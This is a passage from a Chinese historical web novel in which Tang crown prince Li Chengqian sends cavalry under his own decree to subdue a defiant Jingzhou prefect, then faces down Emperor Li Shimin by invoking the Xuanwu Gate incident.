又是一声巨响,御案上的一方砚台被他狠狠扫落在地,墨汁四溅,如同一朵绽放的黑色死亡之花。 他像一头被彻底激怒的雄狮,在殿中来回踱步,每一步都踏在所有人的心脏上。 “储命对圣命……好,好得很!” 他停下脚步,眼神中的怒火渐渐隐去,取而代之的是一种令人心悸的森寒。 “传旨,召房玄龄、杜如晦、长孙无忌,即刻入宫!朕倒要问问他们,朕的这位好太子,究竟还想做什么惊天动地的大事!” …… 相府,书房。 房玄龄与杜如晦相对而坐,两人之间的茶水早已凉透。 从东宫回来后,他们就一直保持着这个姿势,谁也没有开口说话,两尊石像。 良久,杜如晦端起茶杯,却只是摩挲着冰冷的杯壁,声音干涩沙哑:“玄龄兄,太子……已经出招了。” 房玄龄闭着眼睛,疲惫地揉了揉眉心。 他没有问杜如晦是如何得知的,他们这些人在朝中经营多年,东宫那么大的动静,不可能瞒得过他们的耳目。 “我听说了。” 房玄龄的声音里满是苦涩,“储命……真是好大的手笔。” 杜如晦放下茶杯,发出一声轻响。 “这不是手笔,这是战书。” 他的眼神锐利起来,“是东宫,写给甘露殿的战书。” “他用一道‘储命’,将所有问题都摆在了台面上。他问陛下,这天下,究竟是你李世民一人的,还是你李家父子的?” “他还问我们这些做臣子的,未来的大唐,你们究竟是站在今日的皇帝这边,还是明日的皇帝那边?” 房玄龄睁开眼,眼中布满血丝,他看着自己的老友,一字一句地说道:“克明,我们……没有的选。” “是啊,没有的选。” 杜如晦惨然一笑,“今日我们若是在东宫,敢对那道‘储命’说半个不字,你信不信,明天我俩的府邸就会被羽林卫踏平?罪名嘛,都想好了,‘离间君父,意图谋逆’。” “可我们若是顺从了太子,陛下那里……” 房玄龄打断了他:“陛下现在召我等入宫,你觉得,是为了听我们的解释吗?” 杜如晦沉默了。 他当然知道不是。 陛下要的,是他们的态度。 是他们这两个被誉为“房谋杜断”的宰相,在大唐这艘已经出现裂痕的巨轮上,究竟要站在哪一边掌舵。 “玄龄兄,” 杜如晦的声音低了下去,近乎耳语,“你说,我们辅佐的,到底是一个怎样的怪物?” 房玄龄没有回答,他只是起身,走到窗边,推开了窗户。 窗外,夜凉如水,一轮残月高悬,洒下清冷的光辉。 “我不知道他是不是怪物。” 房玄龄望着那轮残月,喃喃自语,“我只知道,棋盘已经翻了。” “以前,我们是棋手,太子是棋子。现在,他是棋手,我们,连做棋子的资格,都快要没有了。” “克明,你听。” 杜如晦侧耳倾听,只听到远处隐约传来的更夫报时的声音。 “天,要变了。” 房玄龄的声音幽幽传来,飘散在冰冷的夜色里。 长安城,一夜之间,风声鹤唳。 太子李承乾的一道“储命”,像一块巨石砸入本就波涛汹涌的朝堂,激起千层浪。 这道前所未有的命令,绕过了甘露殿,绕过了中书省,直接从东宫发出,遣秦怀玉、程处默、罗通、尉迟宝林四员小将,率三千铁骑,直奔荆州。 消息传开,满朝文武,人人自危。 他们议论纷纷,却又都压低了声音,那两个字本身就带着某种禁忌的力量。 储君之命,何其僭越! 更何况,陛下的圣旨才刚刚下达,命太子就藩,这几乎是人尽皆知的事情。 太子此举,无异于公然违抗圣命,将自己与皇帝的矛盾,血淋淋地摆在了所有人面前。 这已经不是暗流,而是拍岸的惊涛。 老成持重的大臣们终日锁眉,闭门谢客,生怕被卷入这扬父子相争的漩涡。 而那些心思活络的官员,则开始暗中盘算,在这扬豪赌中,究竟该将注押在今日的皇帝身上,还是未来的君主那边。 每个人都嗅到了空气中那股山雨欲来风满楼的腥味。 长安城的天,灰蒙蒙的,压得人喘不过气。 第30章 铁浮屠现世 官道尽头,尘土飞扬,三千铁骑卷起的烟龙,在午后的阳光下犹如一条蓄势待发的巨蟒。 马蹄声沉闷如雷,最终在荆州城高大巍峨的城门前戛然而止。 三千骑士,鸦雀无声,只有一面绣着“储”字的大旗在风中猎猎作响,旗面上的金线龙纹,张牙舞爪,透着不容置疑的威严。 队伍最前方,四名年轻的将领勒住战马,神情各异。 连日奔波,风餐露宿,他们的脸上都带着征尘,但眼神却如出鞘的利刃,锋芒毕露。 为首的秦怀玉面容沉静,目光扫过那紧闭的城门和城楼上稀稀拉拉的守兵,看不出喜怒。 他身旁的程处默已经有些不耐烦,嘴里嘟嘟囔囔:“他娘的,这荆州城的架子也太大了吧?咱们都到门口了,连个出来迎接的人都没有?” 尉迟宝林摩挲着马鞍上的双鞭,瓮声瓮气地说道:“处默,别急,说不定是人家没看见呢。” 话虽如此,他那双环眼却早已瞪得溜圆,显然也是憋着一肚子火。 四人中年纪最轻的罗通,更是按捺不住。 他乃名将罗成之后,心高气傲,一心想建功立业,摆脱父辈的光环。 此次奉太子储命而来,正是他崭露头角的绝佳机会。 他催马上前一步,对秦怀玉请命:“怀玉哥,让我去叫门!” 秦怀玉看了他一眼,没有阻止,只是淡淡说了一句:“按规矩来。” “放心!” 罗通一夹马腹,胯下白马如一道闪电,冲至城门之下。 他挺直腰杆,手中长枪朝前一指,运足了丹田气,声若洪钟:“我等奉太子储命而来!荆州太守黄建忠,速速开门接命!” 声音在空旷的城前激起回响,久久不散。 城楼上,几名守兵探头探脑地往下看了一眼,旋即又缩了回去,什么都没有听见。 城门,依旧纹丝不动。 罗通的脸瞬间涨得通红。 这是赤裸裸的无视! 是当着三千铁骑的面,狠狠地抽了他一记耳光! 他再次高喝:“东宫储命在此!荆州太守何在?再不开门,休怪我等无礼了!” 这一次,城楼上连探头的人都没有了。 那些守兵就像木雕泥塑一般,对他的喊话充耳不闻。 “岂有此理!” 罗通怒不可遏,手中长枪猛地一顿,坚硬的青石地面竟被砸出一个浅坑。 身后的程处默和尉迟宝林再也忍不住了。 “这帮狗娘养的!给脸不要脸!” 程处默破口大骂,手已经摸向了腰间的佩刀,“怀玉,跟他们废什么话!直接撞开城门,我看那姓黄的老东西还敢不敢躲着!” “对!俺的鞭子早就等不及了!” 尉迟宝林附和道,双目喷火。 秦怀玉抬起手,制止了他们的冲动。 他的脸色依旧平静,但眼神却冷得像冰。 他抬头望着城楼,声音不大,却清晰地传到每个人耳中:“稍安勿躁。人家不是听不见,是压根不想听。” 这轻描淡写的一句话,比任何怒骂都更让人心头火起。 三千铁骑虽然纪律严明,此刻也忍不住发出一阵骚动。 他们都是太子亲卫,是天之骄子,何曾受过这等羞辱? 秦怀玉没有回头,但他能感受到身后那股压抑的怒火。 他知道,这火不能就这么憋着,但也不能在此刻爆发。 太子让他们来荆州,不是来攻城的。 此时,荆州城的城楼之上,与下方剑拔弩张的气氛截然不同,一派悠闲。 荆州太守黄建忠,一个年过五旬的矮胖男人,正眯着眼睛,手捧一杯热茶,惬意地靠在一方躺椅上。 一名亲信校尉快步走来,躬身禀报道:“太守大人,城外那些人又在叫门了,说是……奉了太子储命。” 他说到“储命”二字时,声音不自觉地压低了些,脸上也带着几分不安。 黄建忠呷了一口茶,眼皮都懒得抬一下,慢悠悠地说道:“叫就让他们叫嘛,嗓子是他们自己的,叫哑了本官又不心疼。” 校尉迟疑道:“可是大人,他们毕竟是东宫的人,而且还带着三千骑兵,就这么晾着……万一……” “万一什么?” 黄建忠终于睁开了他那双小眼睛,一道精光一闪而过,“万一他们敢攻城不成?你借他们十个胆子,他们敢吗?” 他嗤笑一声,脸上满是毫不掩饰的轻蔑。 “一群乳臭未干的小崽子,仗着祖上的功劳,在长安城里横行霸道惯了,真以为天下人都得捧着他们?这里是荆州,不是长安!天高皇帝远,他一个还没即位的太子,手就想伸这么长?” 黄建忠放下茶杯,慢条斯理地站起身,走到墙垛边,朝下望去。 他看到了那面刺眼的“储”字大旗,看到了那四个气势汹汹的年轻将领,脸上的笑意愈发浓郁,带着几分猫捉老鼠般的戏弄。 “储命?呵呵,真是天大的笑话。本官只认陛下的圣旨,什么时候轮到一个毛头太子来发号施令了?” 他背着手,对身旁的校尉吩咐道,“传令下去,没有本官的命令,谁也不准开门。就让他们在外面晒着,好好去一去那身娇贵的公子哥儿气焰。” “可是……大人,要晾他们多久?” 黄建忠伸出两根肥硕的手指,在空中晃了晃:“至少……两个时辰。等太阳最毒的时候,再去开门。” 校尉心中一凛,不敢再多言,连忙躬身退下。 黄建忠重新回到躺椅上,嘴角咧开算计的笑容。 他当然知道太子和陛下在掰手腕,也正因为知道,他才敢如此行事。 他早已暗中投靠了陇西李氏,背后有的是靠山。 在他看来,太子李承乾不过是秋后的蚂蚱,蹦跶不了几天了。 今日他折辱东宫来使,便是向自己的新主子递上一份投名状。 烈日当空,炙烤着大地。 秦怀玉等人身披重甲,在城外一动不动,宛如四尊铁铸的雕像。 汗水顺着他们的额角滑落,浸湿了衣襟,但没有一个人开口抱怨。 他们身后的三千铁骑。 时间一点一滴地流逝,那是一种比刀剑交锋更加磨人的煎熬。 终于,在所有人都快要被晒得脱层皮的时候,那扇紧闭了两个多时辰的城门,发出一阵“嘎吱”的刺耳声响,缓缓打开了一道缝。 黄建忠带着一众荆州官员,慢悠悠地走了出来。 他脸上堆着虚伪的笑容,离着老远就拱手作揖:“哎呀呀!几位小将军,恕罪,恕罪啊!本官方才处理一桩紧急公务,耽搁了时辰,未能及时出迎,实在是失礼,失礼了!” 他的声音洪亮,姿态做得十足,却绝口不提太子储命之事,秦怀玉他们只是路过此地的普通将领。 程处默的脸黑得像锅底,咬牙切齿地低声道:“我呸!这个老狐狸!” 秦怀玉面无表情,催马上前几步,居高临下地看着黄建忠,声音冷得不带温度:“黄太守,别来无恙。” 他特意加重了“太守”二字,是在提醒对方的身份。 第31章 殿下……终于肯让我们拔刀了 他揣着明白装糊涂。 秦怀玉也不与他兜圈子,他从怀中取出一个雕龙刻凤的紫檀木盒,高高举起。 “黄建忠,我等四人,奉太子储命,前来荆州公干!请太守接命!” 他的声音铿锵有力,每一个字都像锤子一样砸在众人心头。 随着“太子储命”四个字出口,现扬的气氛瞬间凝固。 黄建忠脸上的笑容僵了一下,但很快又恢复如常。 他看了一眼那个木盒,眼神里却不见丝毫敬畏,反而闪过玩味。 他没有像接圣旨那样跪拜,甚至连腰都没弯一下,只是捋着自己的山羊胡,慢悠悠地说道:“哦?太子储命?这可真是稀奇。本官在大唐为官数十年,只听过陛下的圣旨,还从未听过有什么‘储命’。” 他顿了顿,故作惊讶地看着秦怀玉:“秦小将军,你可莫要诓骗本官。这伪造储君令旨,可是谋逆的大罪啊!” 此言一出,程处默和尉迟宝林当扬就炸了。 “老匹夫!你放什么狗屁!” 程处默怒吼一声,猛地拔出腰刀,刀锋直指黄建忠的咽喉。 “敢污蔑太子殿下!找死!” 尉迟宝林也掣出了双鞭,浑身杀气腾腾。 黄建忠身后的荆州兵将“唰”的一声,齐齐拔出兵器,与三千铁骑针锋相对。 空气中,瞬间充满了刀剑出鞘的金属摩擦声,气氛紧张到了极点,一扬血战,似乎一触即发。 “住手!” 秦怀玉厉声喝止了程处默和尉迟宝林。 他依旧端坐马上,冷冷地注视着故作惊慌的黄建忠,那眼神,在看一个死人。 “黄太守,” 秦怀玉的声音平静得可怕,“太子储命,代表的是东宫,代表的是大唐储君。你,不认?” 黄建忠被他看得心里有些发毛,但仗着背后有人撑腰,依旧强撑着说道:“不是本官不认,实在是……不敢认啊。这等大事,没有陛下的旨意,本官万万不敢擅专。要不这样,几位小将军先入城歇息,待本官修书一封,八百里加急送往长安,向陛下请示之后,再做定夺,如何?” 这番话,说得滴水不漏,却把皮球又踢回了长安,踢给了皇帝。 他不仅不接命,还要把这件事捅到陛下面前,用心何其险恶! 罗通一直沉默着,此刻,他手中的长枪微微一颤,枪尖直指黄建忠的眉心,森然道:“我只问你一句,这储命,你接,还是不接?” 少年的声音里,带着一种不顾一切的决绝。 黄建忠被那冰冷的枪尖一指,吓得腿肚子都有些发软,但脸上依旧强作镇定:“小将军,有话好说,何必动刀动枪呢?” 秦怀玉看着眼前这滑稽的一幕,心中杀机已起,但他知道,不能在这里动手。 他缓缓收回装着储命的木盒,语气变得异常平静:“好。既然黄太守不敢认,我等也不强求。” 他调转马头,对着身后三千铁骑下令。 “全军听令!后退十里,安营扎寨!” 说完,他不再看黄建忠一眼,带着众人,催马离去。 程处默和尉迟宝林虽心有不甘,但对秦怀玉的命令却不敢不从,只能狠狠地瞪了黄建忠一眼,策马跟上。 看着远去的骑兵队伍,黄建忠长长地松了一口气,后背已然被冷汗浸透。 他抹了一把额头的汗,对着秦怀玉的背影,不屑地啐了一口。 “哼,一群小毛孩子,还想跟老子斗?” 他得意地转身,准备回城。 然而,他没有注意到,在队伍末尾的秦怀玉,回头看了他一眼。 那眼神,冰冷,幽深,是在看一个即将被埋入黄土的死物。 风,似乎更冷了。 夜色下的长安,东宫书房内,烛火静静燃烧,将李承乾的身影投射在墙壁上,拉得长长,宛如一尊沉默的神祇。 空气中弥漫着淡淡的檀香,却压不住那股无形的肃杀之气。 一名身着玄色劲装的男子单膝跪地,头颅深垂,正是“罗网”的暗桩。 他用一种毫无波澜的语调,将荆州城门前发生的一切,原原本本地禀报给了眼前的太子。 “……黄建忠言,伪造储君令旨,乃谋逆大罪。他言辞间,多有对殿下不敬之意,并已将此事上报长安。” “他身后,是五姓七望的影子。” 暗桩补充了一句,声音压得更低,“据荆州内线回报,崔氏与太原王氏,皆许诺为其撑腰,命其不必理会殿下储命。” 书房内,陷入了死一般的寂静。 李承乾端坐于书案之后,面无表情,手指无意识地敲击着紫檀木桌面,发出“笃、笃、笃” 的轻响,每一声,都敲在人的心坎上。 他没有发怒,没有咆哮,甚至连眉毛都没有挑动一下。 然而,那名经验丰富的罗网暗桩,却感到刺骨的寒意从脚底直冲天灵盖。 他知道,太子殿下越是平静,那即将到来的风暴,便越是恐怖。 良久,李承乾的敲击声停了。 他缓缓抬起眼帘,那双深邃的眸子里,没有怒火,只有一片冰封千里的漠然。 “敬酒不吃……吃罚酒。” 他轻声自语,声音不大,却让暗桩的身体不由自主地颤抖了一下。 “孤原本以为,他只是蠢,没想到,他还贪。” “既然他这么急着想去见阎王,孤……便成全他。” 他伸出手,侍立一旁的内侍立刻会意,上前研墨铺纸。 李承乾提起狼毫笔,饱蘸浓墨,手腕悬空,笔走龙蛇。 这一次,他笔下的字迹不再是往日的潇洒飘逸,而是充满了锋锐的棱角和凛冽的杀机,每一个笔画都是一把出鞘的利剑。 一行血淋淋的大字,跃然纸上。 “奉太子储命,凡不敬储命者,杀无赦!” 没有多余的废话,只有最直接,最血腥的命令。 他拿起自己的太子私印,重重地盖了上去,鲜红的印泥,如同凝固的血。 “八百里加急。” 他将那封薄薄的,却重如泰山的令旨递给暗桩,“亲手交给秦怀玉。告诉他,孤……要看到人头。” “遵命!” 暗桩接过令旨,只觉掌心一片滚烫,他不敢多言,身形一闪,便消失在了夜色之中。…… 荆州城外,临时搭建的军营中,气氛压抑得让人喘不过气。 程处默烦躁地来回踱步,嘴里骂骂咧咧:“奶奶的!那老匹夫,竟敢如此嚣张!怀玉,咱们就这么算了?这口气我咽不下去!” 尉迟宝林将他的双鞭擦拭得锃亮,闻言闷哼一声:“若不是你拦着,老子当时就把他脑袋拧下来当球踢!” 唯有秦怀玉,依旧沉静地坐在火堆旁,仔细地擦拭着手中的长枪,外界的一切都与他无关。 就在这时,一阵急促的马蹄声由远及近,一名罗网的暗桩风尘仆仆地冲入营地,翻身下马,径直奔向秦怀玉。 “秦将军,殿下急令!” 秦怀玉目光一凝,接过那封带着体温的令旨,迅速展开。 当他看到那行杀气腾腾的字迹时,一直紧绷的脸上,终于露出了笑意。 那是一种冰冷的,嗜血的笑。 “殿下……终于肯让我们拔刀了。” 第32章 荆州风云! 尉迟宝林一把抢过,看完之后,他先是一愣,随即爆发出震天的大笑:“哈哈哈哈!好!好!杀无赦!这才是我认识的太子殿下!走!他娘的,咱们现在就回城,看看谁的脑袋比较硬!” 三千铁骑,再次奔赴荆州城下。 这一次,他们没有丝毫的停顿,马蹄声如雷,直逼城门。 城墙上的守军见到去而复返的骑兵,个个面色大变。 黄建忠被亲兵簇拥着,再次出现在城楼上,当他看到为首的秦怀玉等人那满脸的杀气时,心中顿时咯噔一下,一种不祥的预感涌上心头。 “来者何……” 他的话还没说完,就被尉迟宝林一声雷鸣般的暴喝打断。 “城墙上的狗东西们,都给老子听好了!” 尉迟宝林催马上前,高高举起手中的令旨,声震四野,“此乃太子殿下最新储命!‘奉太子储命,凡不敬储命者,杀无赦!’睁开你们的狗眼看清楚了!” “现在,老子问你们!是自己乖乖打开城门,还是想让你们的脑袋,成为我等刀下的第一颗祭品!” “杀!杀!杀!” 三千铁骑齐声怒吼,声浪汇聚成一道洪流,狠狠地撞击在荆州城墙上,撞击在每一个守军的心头。 那股凝如实质的杀气,让城墙上的士兵两腿发软,手中的兵器都快要握不住了。 他们惊恐地望向黄建忠,眼神里充满了哀求。 黄建忠的脸色,此刻已经由白转青,由青转紫,精彩至极。 他万万没有想到,那个远在长安的太子,竟然会如此刚烈,直接下达了格杀勿论的命令! 这哪里是储君,分明就是个杀神! 他感觉不到背后五姓七望的温暖,只感觉到脖颈间那冰冷的寒意。 他毫不怀疑,如果自己再敢说一个“不”字,下一刻,那三千铁骑就会踏平这里,将他剁成肉泥。 冷汗,顺着他的额角涔涔而下。 “开……开城门……” 黄建忠的声音干涩嘶哑,用尽了全身的力气,“快,恭迎……恭迎秦小将军入城!” 他脸上挤出一个比哭还难看的笑容,对着城下的秦怀玉拱手道:“哎呀,误会,都是误会!下官糊涂,下官有眼不识泰山!今晚,下官已在府中备下薄酒,为各位将军接风洗尘,赔礼道歉!” 城门缓缓打开,发出的“嘎吱”声,在黄建忠听来,就如同地狱之门开启的声音。 他知道,他引狼入室了。 太守府的洗尘宴,极尽奢华。 黄建忠领着荆州一众官员,频频举杯,脸上堆满了谄媚的笑容,之前在城门口的对峙从未发生过。 秦怀玉等人来者不拒,大口吃肉,大碗喝酒,只是那眼神,始终冰冷。 酒过三巡,一名端着酒壶的家仆上前来为秦怀玉斟酒,一个“不慎”,酒水洒了秦怀玉一身。 “将军恕罪!将军恕罪!” 家仆慌忙跪下,用袖子去擦拭。 就在他身体靠近的瞬间,一个几乎微不可闻的声音,钻入了秦怀玉的耳中。 “将军,府内回廊两侧,藏有刀斧手二百。” 秦怀玉端着酒杯的手,没有丝毫的停顿,他只是淡淡地瞥了那家仆一眼,平静道:“无妨,下去吧。” 家仆如蒙大赦,连连叩首后退下。 秦怀-玉将杯中酒一饮而尽,心中却是一片雪亮。 好一个黄建忠,果然是设下了鸿门宴,想将他们一网打尽。 可惜,他打错了算盘。 宴席结束,秦怀玉等人回到临时安排的住所。 一进门,他脸上的醉意便消失得无影无踪。 “传令下去,召集所有校尉以上的将领,立刻到我房中议事!” 很快,包括程处默、尉迟宝林、罗通在内的十二名青年将领,齐聚一堂。 “怀玉,那老匹夫果然没安好心!刚才我就觉得不对劲,那些官员一个个笑得比哭还难看!” 程处默一拍桌子,怒道,“依我看,咱们今晚就干脆点,直接冲进他后院,把他给宰了!” “不可莽撞。” 秦怀玉摇了摇头,制止了程处默的冲动。 他站起身,在众人面前缓缓踱步,眼神深邃。 “杀一个黄建忠,容易。但殿下要的,是整个荆州。” 他的声音沉稳有力,“殿下让我们来,不是为了单纯的杀戮,而是要将这块被蛀虫啃食干净的土地,重新掌握在手中。” 他将李承乾的令旨放在桌上,缓缓展开。 “殿下的命令,是‘不敬储命者,杀无赦’。但谁是不敬者?仅仅一个黄建忠吗?” 众人陷入了沉思。 秦怀玉的目光扫过每一个人:“从明日起,你们十二人,各领一队人马,换上便装,散入荆州城的大街小巷,以及周边的村镇。” “你们的任务,不是打探军情,而是去听,去看。” 秦怀玉的手指,在地图上重重一点。 “去茶馆听书,去酒肆喝酒,去集市上和那些小贩聊聊收成,去城外的村子看看那些农户的米缸。我要你们查清楚,荆州的田地,都掌握在谁的手里?荆州的税赋,又是如何收缴的?这些年,有多少冤案,有多少百姓流离失所?黄建忠和他的党羽,在这片土地上,究竟犯下了多少罪行!” “我要你们将这一切,都给我记录下来,形成卷宗。我要让这荆州的天,先在百姓的口中,变上一变!” 此计一出,所有人都倒吸了一口凉气。 这哪里是查案,这分明是在挖黄建忠乃至整个荆州士族的根! 釜底抽薪,何其狠辣! 罗通的眼中,闪烁着兴奋的光芒:“如此一来,我们手握民怨,便是手握天理!届时再动黄建忠,便是顺天应人,谁也说不出半个不字!” “没错。” 秦怀玉点了点头,“殿下要的,是一个吏治清明、民心归附的荆州。而这第一步,就是要让那些藏在暗处的豺狼,无所遁形!” …… 长安城,东宫。 一份份来自荆州的密报,如同雪片般飞到了李承乾的书案上。 上面详细记录了秦怀玉十二路人马的所见所闻。 土地兼并,触目惊心。 苛捐杂税,名目繁多。 官商勾结,鱼肉百姓。 一桩桩,一件件,罄竹难书。 李承乾面沉如水,每看完一份,他眼中的寒意就更重一分。 整个书房的气氛,压抑得凝固了一般。 他缓缓站起身,走到窗前,看着外面看似平静的宫城,声音低沉得如同来自九幽。 “看来这荆州,不是天高皇帝远,而是豺狼当道!” 话音未落,书房外突然传来一阵急促杂乱的脚步声,一名小太监连滚带爬地冲了进来,脸上满是惊惶之色。 “殿下!不好了!殿下!” 小太监跪在地上,声音都在发抖。 “陛下……陛下召您……立刻前往甘露殿!” 李承乾面无表情,对那小太监的惊惶失措视若无睹。 第33章 你发动玄武门的时候,也没给皇祖父解释! “知道了,退下吧。” 那小太监如蒙大赦,连滚带爬地退了出去,身后有猛兽在追赶。 书房内,重归寂静。 烛火跳动,将李承乾的身影在墙壁上拉得又长又扭曲。 他站在原地,没有立刻动身。 甘露殿。 这个时间,这个地点,如此急切的传召。 他脑中飞速闪过无数个可能。 是荆州的事闹大了? 黄建忠背后的人终于坐不住,跑到父皇面前告状了? 还是说,蜀山蜀山的事,终究是瞒不住了? 他缓缓踱步到窗前,冰凉的指尖触碰着窗棂。 夜色下的宫城,像一头蛰伏的巨兽,处处都是张开的血盆大口。 走错一步,便是粉身碎骨。 但他不能慌。 越是这种时候,越要冷静。 父皇是一头雄狮,任何的胆怯,都会被他敏锐地察觉,然后毫不留情地撕碎。 他整理了一下自己的衣冠,确保每一处褶皱都平整如初,然后迈开脚步,朝着甘露殿走去。 夜风冰冷,吹得宫灯摇曳,光影在青石板路上斑驳陆离。 宫道幽深,没有尽头。 李承乾的脚步声在空旷的宫城中回响,一下,又一下,沉稳而有力,如同敲在命运的鼓点上。 甘露殿的殿门紧闭着,门口侍立的内侍和禁军,一个个垂着头,神情肃穆,大气都不敢出。 整个大殿周围,都弥漫着令人窒息的压抑。 看到李承乾的身影,为首的太监连忙躬身,无声地推开了沉重的殿门。 “吱呀——”门轴转动的声音,在死寂的夜里显得格外刺耳。 殿内灯火通明,亮如白昼。 他的父皇,大唐的天子李世民,正背对着他,站在一副巨大的舆图前。 那身影依旧挺拔如山,却透着说不出的疲惫与森然。 李承乾垂下眼帘,缓步走进大殿,在距离李世民三步之遥的地方停下,躬身行礼。 “儿臣,参见父皇。” 他的声音平静,一如往常。 李世民没有立刻转身,也没有让他平身。 时间在这一刻凝固了。 殿内只有烛火燃烧时发出的轻微“噼啪”声。 每一声,都是一记重锤,敲打在人的心上。 不知过了多久,李世民才缓缓转过身来。 他的脸上没有任何表情,那双曾睥睨天下、令四海臣服的眼眸,此刻深邃如井,看不出喜怒。 但李承乾的瞳孔,却在瞬间微微一缩。 他看见了,在李世民宽大的手掌中,正静静躺着一枚通体漆黑的铁牌。 铁牌的样式古朴,上面只刻着一个龙飞凤舞的篆字——乾。 正是他亲手设计,交给蜀山,用以震慑天下宵小,一夜之间灭掉十五万突厥大军后,留下的那枚令牌! 它怎么会出现在这里? 出现在他父皇的手中? 李承乾的心脏猛地一沉,坠入了无底深渊。 但他脸上依旧维持着恭敬的神色,连呼吸的频率都没有改变分毫。 李世民的目光,终于从舆图上移开,落在了李承乾的脸上。 那目光锐利如刀,要将他从里到外,剖析个干干净净。 “这个令牌,” 李世民的声音低沉沙哑,是两块生锈的铁片在摩擦,“是你的吗?” 他没有质问,没有怒吼,只是平淡地发问。 可越是这样,就越是让人感到彻骨的寒意。 李承乾抬起头,直视着那枚令牌,没有丝毫的躲闪与迟疑。 “不错。” 他坦然承认。 “是儿臣亲手打造的储命令牌。” 此言一出,殿内的空气瞬间降到了冰点。 “储命令牌?” 李世民重复着这四个字,嘴角牵起一个冰冷的弧度,那弧度里没有笑意,只有无尽的嘲讽与怒火。 突然! 他猛地将手中的令牌掷在地上! “铛啷!” 清脆的金属撞击声,在大殿中激起一串刺耳的回音。 “好大的胆子!” 压抑的怒火终于爆发,李世民的声音如同滚雷,震得整个大殿嗡嗡作响。 “朕还没老呢!朕还坐在这龙椅上!你就迫不及待要打造你的‘储命令牌’,节制天下了?!” 他的胸膛剧烈起伏着,双目赤红,死死地盯着李承乾,像一头被激怒的雄狮,随时准备扑上来,将眼前的挑战者撕成碎片。 “你想做什么?啊?!你想学杨广吗?还是想告诉朕,这大唐的江山,你已经等不及了?!” 面对这雷霆之怒,李承乾却异常的平静。 他甚至连眼皮都没有多眨一下,父皇的怒火,不过是拂面的清风。 李世民看着他这副油盐不进的模样,怒火更盛。 他往前踏出一步,逼视着李承乾。 “朕再问你,蜀山蜀山,又是怎么回事?!” 这个问题,比之前的质问更加致命。 令牌,还可以解释为储君的仪仗。 但蜀山蜀山,那支一夜之间冒出来,战力堪比十万大军的神秘力量,若是与太子扯上关系,那便是弥天大罪! 李承乾的脸上,终于露出了恰到好处的困惑。 他微微侧过头,没有听懂父皇的问题。 “蜀山蜀山?” 他反问道,“父皇乃天子,富有四海,天下万事,尽在掌握。蜀山蜀山是何来历,父皇该去问他们自己,为何要来问儿臣?” 他将问题轻飘飘地推了回去,把自己摘得干干净净。 “放肆!” 李世民被他这副推诿的态度彻底激怒了,“还在跟朕装糊涂!” 他伸手指着地上那枚冰冷的铁牌,声音因愤怒而颤抖。 “朕就是从他们的手中,得到了你的储君令牌!你还敢说与你无关?!” “难道,你就不想给朕一个解释吗?!” 图穷匕见。 所有的铺垫和试探都已结束,李世民亮出了他最锋利的刀,直指李承乾的咽喉。 空气凝滞了。 解释? 如何解释? 说自己暗中培植势力,是为了巩固储君之位? 还是说自己手握百万雄兵,是为了替父皇分忧? 任何解释,在“谋逆”这顶大帽子面前,都显得苍白无力。 在李世民那足以洞穿人心的目光注视下,李承乾沉默了。 然而,就在李世民以为他无言以对,即将要开口定罪的瞬间,李承乾却忽然笑了。 他笑了起来。 那笑容很轻,很淡,却是一把锋利的锥子,瞬间刺破了这剑拔弩张的气氛。 他的眼中,没有恐惧,没有慌乱,只有一种近乎冷酷的平静。 他抬起头,迎上父皇愤怒的目光,一字一顿,清晰地说道:“父亲。” 他没有用“父皇”,而是用了“父亲”。 这个称呼,瞬间将两人从君臣拉回到了父子的关系,却带着一种前所未有的疏离与尖锐。 “你发动玄武门的时候,” 他的声音不高,却像惊雷一般在空旷的大殿中炸响,“也没给皇祖父解释!” 第34章 质问李世民 李世民的脑中,有千万道惊雷同时炸开。 他的身体猛地一晃,下意识地后退了半步,脸色在一瞬间变得惨白。 玄武门! 这三个字,是他一生的荣耀,也是他一生的梦魇。 是他登上权力之巅的阶梯,也是他心中永远无法愈合的伤口。 他可以接受臣子的直谏,可以容忍政敌的攻击,却唯独无法面对这个话题。 尤其是,从他最寄予厚望的儿子口中说出。 这已经不是解释,也不是辩解。 这是一种赤裸裸的挑衅,是一种冷酷的宣告! 李承乾在告诉他:你我,是同一种人。 你当年能做的事,我为何不能做? 你用鲜血染红了通往皇位的道路,又有什么资格来质问我?! 李世民张了张嘴,想要怒斥,想要咆哮,却发现自己的喉咙里是被塞进了一团滚烫的烙铁,一个字都说不出来。 他看着眼前的儿子,那张与自己年轻时有七分相脸庞,那双同样深邃、同样燃烧着野心的眼睛。 他看到了二十多年前,那个站在玄武门前,浑身浴血,手持长剑的自己。 彻骨的寒意,从他的脚底,瞬间窜遍了全身。 原来,他引以为傲的儿子,早已不是他圈养在东宫里的羔羊。 而是一头,已经磨利了爪牙,随时准备噬主的…… 狼! 死寂。 甘露殿内,落针可闻。 李世民的呼吸变得粗重,胸膛剧烈起伏,像一头被困在笼中的猛兽。 他死死盯着李承乾,那双曾阅尽天下风云的眼眸里,此刻只剩下惊涛骇浪。 愤怒、错愕、不可置信,最后全都凝固成一种刺骨的冰冷。 他想反驳,想怒吼,想用天子的威严将这个逆子碾碎。 可喉咙里是被灌了铅,每一个字都重若千钧,根本吐不出来。 玄武门…… 他亲手缔造的功业,也是他午夜梦回时,永远挥之不去的血色阴影。 他从未想过,有一天,这把刺向兄弟的刀,会被自己的儿子,以一种更加冰冷的方式,调转方向,对准自己。 李承乾就那么站着,身姿笔挺如松。 他脸上的笑容已经敛去,只剩下一种漠然的平静,刚才那句诛心之言,不过是随口一提的家常。 他没有再多说一个字。 有时候,沉默比任何言语都更有力量。 他在等,等他的父皇,这位天可汗,从自己亲手制造的幻觉中清醒过来。 时间一点一滴流逝,殿内的空气凝固成了琥珀,将父子二人永远封存在这一刻的对峙里。 终于,李世民干裂的嘴唇动了动,发出了一个破碎的音节。 “你……” 声音沙哑得不像他自己。 “你……很好。” 这三个字,几乎是从牙缝里挤出来的,带着血腥味。 这不是夸奖,而是最恶毒的诅咒,是一个父亲,一个皇帝,对一个已然失控的继承者,所能发出的最无力的咆哮。 李承乾微微躬身,姿态谦恭得无懈可击:“儿臣,谢父皇夸奖。” 他顿了顿,抬起眼帘,目光扫过那枚掉落在地上的“乾”字铁牌,语气平淡得是在说别人的事。 “若父皇没有其他吩咐,儿臣先行告退了。” 说完,他不等李世民回应,便径直转身,一步,一步,沉稳地向殿外走去。 他的背影,在摇曳的烛火下拉得极长,像一头即将踏入黑暗,去狩猎的孤狼。 “砰!” 直到李承乾的身影彻底消失在殿门外,李世民才是被抽走了所有力气,猛地瘫坐回龙椅上。 他浑身颤抖,额头上冷汗涔涔。 